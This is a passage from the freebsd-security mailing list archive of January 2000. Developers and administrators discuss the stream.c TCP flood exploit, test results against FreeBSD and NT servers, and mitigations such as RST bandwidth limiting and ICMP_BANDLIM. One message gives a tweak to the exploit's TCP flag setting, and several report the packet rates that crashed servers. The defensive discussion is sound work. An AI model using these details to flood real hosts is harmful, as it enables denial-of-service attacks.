charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3612.1700 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3612.1700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org -----Original Message----- From: Brett Glass >Not just that. I suspect that it runs out of buffers >because it's queueing up RST packets and ICMP packets. And >discarding important incoming packets in the process. >(Which is another thing you'll see in a test: the more >INPUT the server needs to accept, the more it will be >affected.) I believe this to be true. Realize that in a real world attack, the attack most likely originates from more than one source AND it continues for a good hour or so or however long it takes to crash the box. But it DOES crash the box. My experience is with FreeBSD, but as has been suggested/demonstrated it has similar effects on other platforms. Bob Madden >,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,< --This Message Composed By: Bob Madden -- bobm@ATGSYSTEMS.COM Sys Admin /Network Engineer To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 14:27:10 2000 Delivered-To: freebsd-security@freebsd.org Received: from ind.alcatel.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id 5C91A154D3 for ; Fri, 21 Jan 2000 14:27:05 -0800 (PST) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com (mailhub [198.206.181.70]) by ind.alcatel.com (8.9.3+Sun/8.9.1 (ind.alcatel.com 3.0 [OUT])) with SMTP id OAA20392; Fri, 21 Jan 2000 14:26:25 -0800 (PST) X-Origination-Site: Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id OAA08318; Fri, 21 Jan 2000 14:26:24 -0800 Received: from softweyr.com (dyn1.utah.xylan.com [198.206.184.237]) by omni.xylan.com (8.9.3+Sun/8.9.1 (Xylan engr [SPOOL])) with ESMTP id OAA03680; Fri, 21 Jan 2000 14:25:03 -0800 (PST) Message-ID: <3888DE17.9FC77026@softweyr.com> Date: Fri, 21 Jan 2000 15:30:47 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Brett Glass Cc: security@freebsd.org Subject: Re: stream.c worst-case kernel paths References: <200001211415.BAA12772@cairo.anu.edu.au> <20000121.16082400@bastille.netquick.net> <4.2.2.20000121140941.01a68b30@localhost> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Brett Glass wrote: > > At 01:55 PM 1/21/2000 , Wes Peters wrote: > > >Be warned if you're using the exploit program: if you select random > >addresses, it may (will) pick multicast IP addresses, which may have > >unintended side affects on your network. Augh! > > Geeze. Is it even LEGAL to ACK multicast packets? It certainly isn't legal to have multicast TCP... This is going to drive the Layer 3 switch vendors crazy. ;^( -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 14:34:20 2000 Delivered-To: freebsd-security@freebsd.org Received: from ind.alcatel.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id 3F1EA154D3 for ; Fri, 21 Jan 2000 14:33:58 -0800 (PST) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com (mailhub [198.206.181.70]) by ind.alcatel.com (8.9.3+Sun/8.9.1 (ind.alcatel.com 3.0 [OUT])) with SMTP id OAA20504; Fri, 21 Jan 2000 14:32:47 -0800 (PST) X-Origination-Site: Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id OAA08568; Fri, 21 Jan 2000 14:32:47 -0800 Received: from softweyr.com (dyn1.utah.xylan.com [198.206.184.237]) by omni.xylan.com (8.9.3+Sun/8.9.1 (Xylan engr [SPOOL])) with ESMTP id OAA04026; Fri, 21 Jan 2000 14:31:26 -0800 (PST) Message-ID: <3888DF96.33157880@softweyr.com> Date: Fri, 21 Jan 2000 15:37:10 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Brett Glass Cc: Gene Harris , freebsd-security@freebsd.org Subject: Re: Some observations on stream.c and streamnt.c References: <4.2.2.20000120194543.019a8d50@localhost> <4.2.2.20000121141918.01a54ef0@localhost> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Brett Glass wrote: > > At 02:18 PM 1/21/2000 , Gene Harris wrote: > > >After eight hours of testing, in which I have been > >bombarding the NT 4.0 SP6a Server, the CPU usage on an > >unloaded machine jumped to 27%. However, when I started up > >Oracle 8.05 and ran a rather lengthy query against a 400MB > >database, no distinguishable differences exist in the query > >time between a machine under attack and one not under > >attack. > > A poor test, IMHO. It's disk-intensive and CPU-intensive, > but not network-intensive. Also, other conditions can > affect the results. Were the machines on a network with > a live gateway router? Remember, traffic to, from, and > through the router is significant, since one of the > effects of the exploit is to cause a storm of packets > on the local LAN. > > I've made an NT/IIS server virtually inaccessible using > the same exploit. We have NT 4.0 Server (SP4) running on a P5/200 here, 128 MB RAM, EEPro 10/100. On a 100Base-TX HDX isolated LAN, hitting it with the packets/ second set to 1000 resulted in poor system performance; changing that to 10.000 resulted in the machine almost immediately crashing all the way to the BIOS boot. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 14:37:41 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 8832E155C6; Fri, 21 Jan 2000 14:37:38 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id PAA24861; Fri, 21 Jan 2000 15:37:25 -0700 (MST) Message-Id: <4.2.2.20000121153259.01a5def0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 15:37:21 -0700 To: Todd Backman , security@FreeBSD.ORG, security-officer@FreeBSD.ORG From: Brett Glass Subject: Re: SA and patch for stream.c??? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 02:55 PM 1/21/2000 , Todd Backman wrote: >Is there going to be a SA and an "official" patch from FREEBSD.ORG? There should be. A bunch of possible improvements have been discussed.... Should I submit some diffs, or is someone already working on code for the items that have been discussed? --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 14:43:22 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 70E7F155C7; Fri, 21 Jan 2000 14:43:07 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id PAA86231; Fri, 21 Jan 2000 15:43:05 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id PAA14834; Fri, 21 Jan 2000 15:43:11 -0700 (MST) Message-Id: <200001212243.PAA14834@harmony.village.org> To: Brett Glass Subject: Re: SA and patch for stream.c??? Cc: Todd Backman , security@FreeBSD.ORG, security-officer@FreeBSD.ORG In-reply-to: Your message of "Fri, 21 Jan 2000 15:37:21 MST." <4.2.2.20000121153259.01a5def0@localhost> References: <4.2.2.20000121153259.01a5def0@localhost> Date: Fri, 21 Jan 2000 15:43:11 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <4.2.2.20000121153259.01a5def0@localhost> Brett Glass writes: : At 02:55 PM 1/21/2000 , Todd Backman wrote: : : >Is there going to be a SA and an "official" patch from FREEBSD.ORG? : : There should be. A bunch of possible improvements have been : discussed.... Should I submit some diffs, or is someone already working : on code for the items that have been discussed? First there needs to be something committed to -current and backported to -stable, 3.4R and 3.3R then maybe there will be a SA. It was my impression that we aren't near to comittable code yet. If it is just a config issue, then we can do the SA anytime. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 14:51:46 2000 Delivered-To: freebsd-security@freebsd.org Received: from tetron02.tetronsoftware.com (ftp.tetronsoftware.com [208.236.46.106]) by hub.freebsd.org (Postfix) with ESMTP id 2DCBD14D14 for ; Fri, 21 Jan 2000 14:51:41 -0800 (PST) (envelope-from zeus@tetronsoftware.com) Received: from tetron02.tetronsoftware.com (tetron02.tetronsoftware.com [208.236.46.106]) by tetron02.tetronsoftware.com (8.9.3/8.9.3) with ESMTP id QAA04476; Fri, 21 Jan 2000 16:55:02 -0600 (CST) (envelope-from zeus@tetronsoftware.com) Date: Fri, 21 Jan 2000 16:55:02 -0600 (CST) From: Gene Harris To: Wes Peters Cc: Brett Glass , freebsd-security@freebsd.org Subject: Re: Some observations on stream.c and streamnt.c In-Reply-To: <3888DF96.33157880@softweyr.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Wes, SP5 and SP6 made some pretty big revisions to the TCP stack. That's why I was meticulous on reporting SP6a. It does make a difference. I am now sitting here with the machine hooked to a 100 MB network with the attacking machine on the other side of a T3 at telepath.com. We cannot see any affect on the NT Server, running IIS and SQL Server as a custom web provider. This is a production machine. *==============================================* *Gene Harris http://www.tetronsoftware.com* *FreeBSD Novice * *All ORBS.org SMTP connections are denied! * *==============================================* On Fri, 21 Jan 2000, Wes Peters wrote: > Brett Glass wrote: > > > > At 02:18 PM 1/21/2000 , Gene Harris wrote: > > > > >After eight hours of testing, in which I have been > > >bombarding the NT 4.0 SP6a Server, the CPU usage on an > > >unloaded machine jumped to 27%. However, when I started up > > >Oracle 8.05 and ran a rather lengthy query against a 400MB > > >database, no distinguishable differences exist in the query > > >time between a machine under attack and one not under > > >attack. > > > > A poor test, IMHO. It's disk-intensive and CPU-intensive, > > but not network-intensive. Also, other conditions can > > affect the results. Were the machines on a network with > > a live gateway router? Remember, traffic to, from, and > > through the router is significant, since one of the > > effects of the exploit is to cause a storm of packets > > on the local LAN. > > > > I've made an NT/IIS server virtually inaccessible using > > the same exploit. > > We have NT 4.0 Server (SP4) running on a P5/200 here, 128 MB RAM, EEPro > 10/100. On a 100Base-TX HDX isolated LAN, hitting it with the packets/ > second set to 1000 resulted in poor system performance; changing that to > 10.000 resulted in the machine almost immediately crashing all the way > to the BIOS boot. > > -- > "Where am I, and what am I doing in this handbasket?" > > Wes Peters Softweyr LLC > wes@softweyr.com http://softweyr.com/ > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 14:58:45 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id ADA81155C2 for ; Fri, 21 Jan 2000 14:58:43 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id OAA64329; Fri, 21 Jan 2000 14:58:40 -0800 (PST) (envelope-from dillon) Date: Fri, 21 Jan 2000 14:58:40 -0800 (PST) From: Matthew Dillon Message-Id: <200001212258.OAA64329@apollo.backplane.com> To: Gene Harris Cc: Wes Peters , Brett Glass , freebsd-security@FreeBSD.ORG Subject: Re: Some observations on stream.c and streamnt.c References: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :Wes, : :SP5 and SP6 made some pretty big revisions to the TCP stack. :That's why I was meticulous on reporting SP6a. It does make :a difference. : :I am now sitting here with the machine hooked to a 100 MB :network with the attacking machine on the other side of a T3 :at telepath.com. We cannot see any affect on the NT Server, :running IIS and SQL Server as a custom web provider. This :is a production machine. : :*==============================================* :*Gene Harris http://www.tetronsoftware.com* Ok... but what sort of packet rate is the machine at telepath.com seeing from this attack? Note that a T3 is only 45 MBits. Attacks on BEST that only went through a single incoming T3 never had much of an effect, it was only those attacks that came over multiple T3's (generally ping-broadcast attacks) that we worried about. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 15:11:22 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 872971562E for ; Fri, 21 Jan 2000 15:11:15 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id PAA64559; Fri, 21 Jan 2000 15:11:06 -0800 (PST) (envelope-from dillon) Date: Fri, 21 Jan 2000 15:11:06 -0800 (PST) From: Matthew Dillon Message-Id: <200001212311.PAA64559@apollo.backplane.com> To: Alfred Perlstein Cc: Brett Glass , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths References: <4.2.2.20000120182425.01886ec0@localhost> <20000120195257.G14030@fw.wintelcom.net> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :It's a pretty good analysis, besideds the improvements mentioned :here i _really_ think we should be able to delay the checksum as :far as possible, I've been playing with this for a bit and I'll :see how far it can be safely moved. : :Doing a checksum on an invalid packet is not worth it, might as :well take the packet at face value, allow it to drop out, and :only when it's about to be accepted _finally_ take the hit and do :the checksum. : :As far as limiting RST and ICMP I really believe it's time that :such things are _on_ by default. : :-Alfred No, this is far too dangerous. If a packet is bad due to being corrupted then you want to throw it away (via the checksum check) *BEFORE* you start messing around with the socket state. Otherwise a perfectly legitimate packet that got corrupted in transit may cause a disconnect or other failure. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 15:15: 9 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 712161563F for ; Fri, 21 Jan 2000 15:15:07 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id PAA64608; Fri, 21 Jan 2000 15:15:05 -0800 (PST) (envelope-from dillon) Date: Fri, 21 Jan 2000 15:15:05 -0800 (PST) From: Matthew Dillon Message-Id: <200001212315.PAA64608@apollo.backplane.com> To: Brett Glass Cc: Alfred Perlstein , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths References: <4.2.2.20000120182425.01886ec0@localhost> <20000120195257.G14030@fw.wintelcom.net> <4.2.2.20000120220649.018faa80@localhost> <4.2.2.20000120222630.01919150@localhost> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org : :At 10:21 PM 1/20/2000 , Matthew Dillon wrote: : :> I think it's a bad idea to make anything that breaks the protocol :> standard the default. : :I see your point. But isn't it really the protocol standard that's :broken? It might be worthwhile to set a de facto standard as part :of the process of moving for change in the formal one. (Extensions and :changes to IETF standards frequently happen this way.) If people at :the IETF meetings say, "FreeBSD now handles this situation this way, and :it's MUCH more robust," it'll be a strong selling point in favor of :a follow-on RFC. This has worked for e-mail standards, which Heaven :knows are STILL in need of enhancement. : :--Brett Glass There is nothing wrong with the protocol standard. Just because it happens to appear to be vulernable to a DOS attack does not make it 'broken'. RST handling is designed to deal with long network downtime and host reboot resynchronization cases. Just dropping the RST response will cause the other end to take a much longer to timeout then it would otherwise. Dropping RST's in anything but a self-defense situation during a real life attack is a bad idea. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 15:17:44 2000 Delivered-To: freebsd-security@freebsd.org Received: from testbed.baileylink.net (testbed.baileylink.net [63.71.213.24]) by hub.freebsd.org (Postfix) with ESMTP id 9776E1563F for ; Fri, 21 Jan 2000 15:17:39 -0800 (PST) (envelope-from brad@testbed.baileylink.net) Received: (from brad@localhost) by testbed.baileylink.net (8.9.3/8.9.3) id RAA89017 for freebsd-security@FreeBSD.ORG; Fri, 21 Jan 2000 17:17:59 -0600 (CST) (envelope-from brad) Date: Fri, 21 Jan 2000 17:17:59 -0600 From: Brad Guillory To: freebsd-security@FreeBSD.ORG Subject: Re: Some observations on stream.c and streamnt.c Message-ID: <20000121171759.D56672@baileylink.net> References: <200001212258.OAA64329@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <200001212258.OAA64329@apollo.backplane.com>; from dillon@apollo.backplane.com on Fri, Jan 21, 2000 at 02:58:40PM -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Matt wrote: > > Ok... but what sort of packet rate is the machine at telepath.com > seeing from this attack? > > Note that a T3 is only 45 MBits. Attacks on BEST that only went through > a single incoming T3 never had much of an effect, it was only those > attacks that came over multiple T3's (generally ping-broadcast attacks) > that we worried about. > > -Matt I don't understand how a "script kiddie" is going to garner the bandwidth to run an attack into the multi-megabit range. This is not a leveraged attack (right?). What kind of packet rate are we talking about to reboot a system, I understand that this will depend on the equipment, but I am interested in any numbers that would allow me to evaluate the real impact that this DOS will have. Most people that have enough bandwidth to launch a multi-megabit attack have better things to do than (or is it then) to pick on me. Thanx all, BMG To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 15:21:30 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 64ED51563F for ; Fri, 21 Jan 2000 15:21:28 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id PAA64674; Fri, 21 Jan 2000 15:21:25 -0800 (PST) (envelope-from dillon) Date: Fri, 21 Jan 2000 15:21:25 -0800 (PST) From: Matthew Dillon Message-Id: <200001212321.PAA64674@apollo.backplane.com> To: Warner Losh Cc: Darren Reed , brett@lariat.org (Brett Glass), security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths References: <200001210417.PAA24853@cairo.anu.edu.au> <200001210642.XAA09108@harmony.village.org> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :: Yes. RFC 793, figure 11, page 35, describes the prescribed behaviour. : :You are allowed to drop the RST in high load situations, are you not? :The remote end must be robust enough to deal with that and :retransmit. A simpleminded solution would be to randomly drop RSTs :when under attack, since that would statitically result in bad :conncetions being disconnected in a reasonable amount of time, but :still save resources... : :Warner Yes, you can theoretically drop any packet and still adhere to the protocol, but at the cost of odd degredation cases occuring on the remote end (such as the remote end taking a longer amount of time figuring out that you've rebooted). Therefore it should only be done when absolutely necessary. The ICMP_BANDLIM code does precisely this: It detects a potential attack and limits the response to it. The current ICMP_BANDLIM code is limited to two cases: (1) ICMP responses (2) TCP packets sent to bad ports It would take perhaps ten seconds to extend the mechanism to cover other TCP RST cases but the above two cases usually handle the vast majority of these sorts of attacks so if this exploit code is stopped cold by ICMP_BANDLIM, we're done. If it isn't then we spend a few seconds extending the cases covered by ICMP_BANDLIM and we are done. Either way this is not a big deal. Lobotomizing TCP is not necessary. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 15:22:47 2000 Delivered-To: freebsd-security@freebsd.org Received: from ind.alcatel.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id BF59B15602 for ; Fri, 21 Jan 2000 15:22:44 -0800 (PST) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com (mailhub [198.206.181.70]) by ind.alcatel.com (8.9.3+Sun/8.9.1 (ind.alcatel.com 3.0 [OUT])) with SMTP id PAA21395; Fri, 21 Jan 2000 15:21:35 -0800 (PST) X-Origination-Site: Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id PAA11170; Fri, 21 Jan 2000 15:21:35 -0800 Received: from softweyr.com (dyn1.utah.xylan.com [198.206.184.237]) by omni.xylan.com (8.9.3+Sun/8.9.1 (Xylan engr [SPOOL])) with ESMTP id PAA07286; Fri, 21 Jan 2000 15:20:11 -0800 (PST) Message-ID: <3888EB02.7FFB4DA5@softweyr.com> Date: Fri, 21 Jan 2000 16:25:54 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Brett Glass Cc: Jared Mauch , TrouBle , security@freebsd.org Subject: Re: stream.c worst-case kernel paths References: <4.2.2.20000121143004.01908960@localhost> <4.2.2.20000121140941.01a68b30@localhost> <200001211415.BAA12772@cairo.anu.edu.au> <20000121.16082400@bastille.netquick.net> <3888C7D2.D82BE362@softweyr.com> <4.2.2.20000121140941.01a68b30@localhost> <20000121162059.Y30675@puck.nether.net> <4.2.2.20000121143004.01908960@localhost> <4.2.2.20000121145537.019bf610@localhost> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Brett Glass wrote: > > I can see that in icmp.c, there is a test that prevents us from > sending an ICMP packet to a multicast address. And in tcp_input.c, > the code near the label "dropwithreset" prevents a RST from being > sent in response to a packet whose DESTINATION was a multicast > address. But I don't see anything that stops it from going > out when the SOURCE was a multicast address. So TCP attempts > to send a RST to that address (something that should be > fixed!). Maybe this is one of the reasons why TCP_RESTRICT_RST > seems to help defeat this exploit. > > [Side note: It occurs to me that George may not have tried the > -random option in his tests, and therefore might not have > seen this.] That agrees with what I've seen here. I think TCP should quietly drop any TCP packets whose source or destination is not a unicast address; they are obviously badly formatted packets that can be nothing but evil. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 15:22:58 2000 Delivered-To: freebsd-security@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id 349CA15711 for ; Fri, 21 Jan 2000 15:22:52 -0800 (PST) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost.freebsd.dk [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id AAA07194; Sat, 22 Jan 2000 00:22:11 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: Matthew Dillon Cc: Alfred Perlstein , Brett Glass , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths In-reply-to: Your message of "Fri, 21 Jan 2000 15:11:06 PST." <200001212311.PAA64559@apollo.backplane.com> Date: Sat, 22 Jan 2000 00:22:11 +0100 Message-ID: <7192.948496931@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <200001212311.PAA64559@apollo.backplane.com>, Matthew Dillon writes: > No, this is far too dangerous. If a packet is bad due to being > corrupted then you want to throw it away (via the checksum check) > *BEFORE* you start messing around with the socket state. Otherwise > a perfectly legitimate packet that got corrupted in transit may > cause a disconnect or other failure. It makes a lot of sense to do cheap (relative to the checksum) checks on the packet before we do the checksum, as long as we don't modify any state before the checksum is validated. If it is cheaper to try to locate the pcb, than to calculate the checksum, the locate the pcb first and drop the packet before doing the checksum. People who have run batch systems will tell you that you run the shortest job first because it improves your average service time a lot. We're trying to do the same thing here. The general fix for this entire class of DoS attacks is therefore the same thing: Toss out the packet as soon as possible, and as cheaply as possible. That doesn't mean that we wont also need some kind of rate-limiting in the output (RST) path to survive. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." FreeBSD -- It will take a long time before progress goes too far! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 15:25:42 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 5F524153D6 for ; Fri, 21 Jan 2000 15:25:37 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id QAA86449; Fri, 21 Jan 2000 16:25:36 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id QAA15279; Fri, 21 Jan 2000 16:25:42 -0700 (MST) Message-Id: <200001212325.QAA15279@harmony.village.org> To: Matthew Dillon Subject: Re: stream.c worst-case kernel paths Cc: Darren Reed , brett@lariat.org (Brett Glass), security@FreeBSD.ORG In-reply-to: Your message of "Fri, 21 Jan 2000 15:21:25 PST." <200001212321.PAA64674@apollo.backplane.com> References: <200001212321.PAA64674@apollo.backplane.com> <200001210417.PAA24853@cairo.anu.edu.au> <200001210642.XAA09108@harmony.village.org> Date: Fri, 21 Jan 2000 16:25:42 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <200001212321.PAA64674@apollo.backplane.com> Matthew Dillon writes: : Either way this is not a big deal. Lobotomizing TCP is not necessary. I'm starting to agree with this. There have been lots of reports of ICMP_LIMIT working well. If we make changes in this area, then I'm leaning toward Matt's path. I would be *EXTREMELY* reluctant to do anything to change the tcp state machine that isn't triggered by the same mechanism used by ICMP_LIMIT. I certainly wouldn't want to break our stack by default. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 15:30: 6 2000 Delivered-To: freebsd-security@freebsd.org Received: from mail.servercom.com (mail.servercom.com [198.76.116.6]) by hub.freebsd.org (Postfix) with ESMTP id 3A0751557C for ; Fri, 21 Jan 2000 15:29:54 -0800 (PST) (envelope-from yardley@uiuc.edu) Received: from liquid (wake-gw.wakeland.servercom.com [198.88.186.1]) by mail.servercom.com (Post.Office MTA v3.5.3 release 223 ID# 0-57662U1200L100S0V35) with ESMTP id com; Fri, 21 Jan 2000 17:27:38 -0600 Message-Id: <4.2.0.58.20000121162825.01374f10@students.uiuc.edu> X-Sender: yardley@students.uiuc.edu X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Fri, 21 Jan 2000 17:29:45 -0600 To: BUGTRAQ@SECURITYFOCUS.COM, freebsd-security@FreeBSD.ORG From: Tim Yardley Subject: Re: explanation and code for stream.c issues In-Reply-To: <4.2.0.58.20000121113943.012a8f10@students.uiuc.edu> References: <4.2.0.58.20000121112253.012a8f10@students.uiuc.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >>If you use ipfilter... ANY stateful (state based) firewall can be used to stop this as the intermediate fix. I apologize for not making that clear. >>Otherwise, wait for vendor patches. >> >>FreeBSD "unofficial patch" by Alfred Perlstein: >>http://www.freebsd.org/~alfred/tcp_fix.diff The vendor patches should consist of RST bandwidth limiting and a few optimizations (to help a little more). The patches should take them all of a few hours at most. >> packet.tcp.th_flags = 0; > >change this to a little different effect: > >packet.tcp.th_flags = TH_ACK; I have been getting mailed a lot about this. Here is why I said the previous statement. Receiving a packet with no flags is considered an illegal packet (obviously) and is often dumped, however, as we have seen in the past.. illegal packets often wreak havoc and often go untested. There is very little that "raped.c" or "stream.c" show as problems in the TCP/IP stacks. The true problem lies more in the effects of the response (caused by the attack). This is the same concept as the SYN floods of yesteryear, and the same type of thing will be done to handle it. The main difference is that it will be on a simpler note because there isn't much need for a "cookie" based system. One should just throttle the response of the reset packets which in turn will help stop the storm that you generate. The main effect of this attack is that you are shooting back RST's at all the spoofed hosts. Obviously, a lot of these hosts will not exist and you will get ICMP unreaches (as an example) bounced back at you. There are other possibilities as well, but unreach would be the most common (redirects might be common as well although i did not spend the time to analyze that). The ones that don't respond back may send you some packets back as well (depending on if the port was valid or not and what their firewall rules are). This causes a nice little storm of packets, in the ideal case. Note that I said ideal case in the previous paragraph. This is not always the observed behavior. It all depends on what is on the subnet, what type of packets are recieved, what rules and filters you have setup, and even the duration of the flood. It has been pointed out several times that the machine will go back to normal once the attack is stopped, which is exactly why something like RST_BANDLIM will work. I have also been asked a lot about what this "bug" affects. I have seen it have effects on *BSD, Linux, Solaris, and Win* as far as 